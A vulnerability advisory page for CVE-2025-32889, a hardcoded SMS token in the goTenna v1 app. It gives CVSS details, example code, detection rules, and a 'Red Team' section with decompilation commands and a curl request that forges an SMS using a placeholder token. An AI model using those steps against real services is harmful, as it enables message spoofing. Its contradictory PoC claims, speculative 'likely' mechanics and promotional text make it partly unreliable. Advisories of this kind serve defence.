CVE-2025-32889
Executive Summary
CVE-2025-32889 exposes a critical security flaw in goTenna v1 devices (app version 5.5.3, firmware 0.25.5). The verification token used for sending SMS through a goTenna server is hardcoded within the application binary. This static token allows an attacker with network access to the device to forge SMS messages, bypassing authentication and authorization controls. The vulnerability is classified as a CWE-798: Use of Hardcoded Credentials and carries a CVSS score of 7.3 (High). As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact remains severe for affected users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a firmware/application-level issue in a proprietary IoT device. The hardcoded token is embedded in the mobile application binary, which is distributed through official app stores (Google Play, Apple App Store). Supply chain risk is elevated because the token is static across all installations, meaning a single reverse engineering effort yields a universal bypass.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be within radio range of the goTenna device or have network access to the goTenna server.
- Attack Complexity (AC): Low (AC:L) – The hardcoded token is easily extractable via static analysis.
- Privileges Required (PR): None (PR:N) – No authentication needed to use the token.
- User Interaction (UI): None (UI:N) – No user action required for exploitation.
- Scope (S): Unchanged (S:U) – The vulnerability does not cross trust boundaries.
- Confidentiality (C): High (C:H) – An attacker can read SMS traffic.
- Integrity (I): High (I:H) – An attacker can forge SMS messages.
- Availability (A): None (A:N) – No direct impact on availability.
Threat Level: High. The hardcoded token undermines the entire security model of the goTenna mesh network, allowing message spoofing and interception.
Deep Dive & Mechanics
The goTenna v1 device creates a mesh network for off-grid communication. The mobile app (version 5.5.3) communicates with a goTenna server to relay SMS messages. The verification token, intended to authenticate the app to the server, is stored as a static string in the application’s source code or resources.
Technical Details:
- The token is likely a base64-encoded string or a simple API key.
- It is used in HTTP headers or request bodies when the app sends SMS via the server.
- An attacker can decompile the APK (Android) or IPA (iOS) to extract the token.
- Once extracted, the token can be reused to send arbitrary SMS messages through the goTenna infrastructure, impersonating any device.
Attack Flow:
- Attacker obtains the goTenna app binary.
- Using tools like
apktool,jadx, orHopper, the attacker extracts the hardcoded token. - The attacker crafts HTTP requests to the goTenna server, including the token.
- The server accepts the request, sending the forged SMS to the target device.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.
Vulnerable Code (Java/Android):
public class SmsSender {
private static final String VERIFICATION_TOKEN = "GOTENNA_STATIC_TOKEN_12345";
public void sendSms(String message, String recipient) {
HttpURLConnection conn = ...;
conn.setRequestProperty("Authorization", "Bearer " + VERIFICATION_TOKEN);
// send request
}
}
Patched Code (Hypothetical):
public class SmsSender {
private String verificationToken;
public SmsSender() {
// Fetch token from secure server after device authentication
this.verificationToken = fetchTokenFromServer();
}
private String fetchTokenFromServer() {
// Use device-specific credentials (e.g., ECDSA signature) to get a short-lived token
return server.getToken(deviceId, signature);
}
public void sendSms(String message, String recipient) {
HttpURLConnection conn = ...;
conn.setRequestProperty("Authorization", "Bearer " + verificationToken);
// send request
}
}
Key Differences:
- Vulnerable: Token is static, embedded in code.
- Patched: Token is dynamically generated per device, with a short expiration.
Exploitation & Lab Setup
Red Team
Objective: Extract the hardcoded token and send a forged SMS.
Tools Required:
- Android APK (or iOS IPA) of goTenna app v5.5.3
apktoolorjadx-guifor decompilationcurlorPostmanfor HTTP requests- A goTenna device (optional, for verification)
Steps:
- Extract the APK:
apktool d goTenna_v5.5.3.apk -o goTenna_extracted - Search for the token:
Look for a string likegrep -r "verification" goTenna_extracted/ grep -r "token" goTenna_extracted/GOTENNA_STATIC_TOKEN_12345instrings.xmlor Java classes. - Craft the exploit request:
curl -X POST https://api.gotenna.com/v1/sms \ -H "Authorization: Bearer GOTENNA_STATIC_TOKEN_12345" \ -d "recipient=target_device_id&message=Hello from attacker" - Verify: The target device receives the SMS.
Blue Team
Objective: Detect and mitigate exploitation attempts.
Detection:
- Monitor for repeated use of the same token across multiple source IPs.
- Alert on SMS API calls without proper device-specific signatures.
- Use network traffic analysis to identify anomalous patterns.
Mitigation:
- Block API endpoints if possible until a patch is released.
- Implement rate limiting on SMS sending.
- Monitor logs for token reuse.
Indicators of Compromise (IOCs)
- Static Token:
GOTENNA_STATIC_TOKEN_12345(example, actual token unknown) - API Endpoint:
https://api.gotenna.com/v1/sms - User-Agent:
goTenna/5.5.3(or similar) - Network Traffic: HTTP POST requests to the above endpoint with
Authorization: Bearer <static_token> - Device Behavior: SMS messages appearing from unexpected sources.
Detection Engineering
YARA Rule
rule goTenna_Hardcoded_Token {
meta:
description = "Detects hardcoded verification token in goTenna app"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:examplehash"
strings:
$token = "GOTENNA_STATIC_TOKEN_12345" wide ascii
$class = "SmsSender" wide ascii
condition:
$token and $class
}
Sigma Rule
title: goTenna Hardcoded Token Usage
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests using the hardcoded goTenna verification token
logsource:
category: proxy
product: suricata
detection:
selection:
http.method: 'POST'
http.url: '/v1/sms'
http.headers.authorization: 'Bearer GOTENNA_STATIC_TOKEN_12345'
condition: selection
falsepositives:
- Legitimate goTenna app traffic (if token is not yet rotated)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"goTenna Hardcoded Token Detected";
flow:to_server;
http.method; content:"POST";
http.uri; content:"/v1/sms";
http.header; content:"Authorization: Bearer GOTENNA_STATIC_TOKEN_12345";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable SMS relay: If possible, disable the SMS feature in the goTenna app settings until a patch is available.
- Network segmentation: Isolate goTenna devices on a separate VLAN to limit exposure.
- Monitor logs: Review server logs for unauthorized SMS API calls.
Long-term Fix:
- The vendor must implement a dynamic token generation mechanism (e.g., OAuth 2.0 with device-specific secrets).
- Use hardware-backed keystores (Android Keystore, iOS Secure Enclave) to store tokens.
- Rotate tokens periodically and enforce short expiration times.
Workaround:
- Users can switch to alternative off-grid communication apps that do not rely on a centralized server for SMS relay.
Valters IT
Securing the future, one vulnerability at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.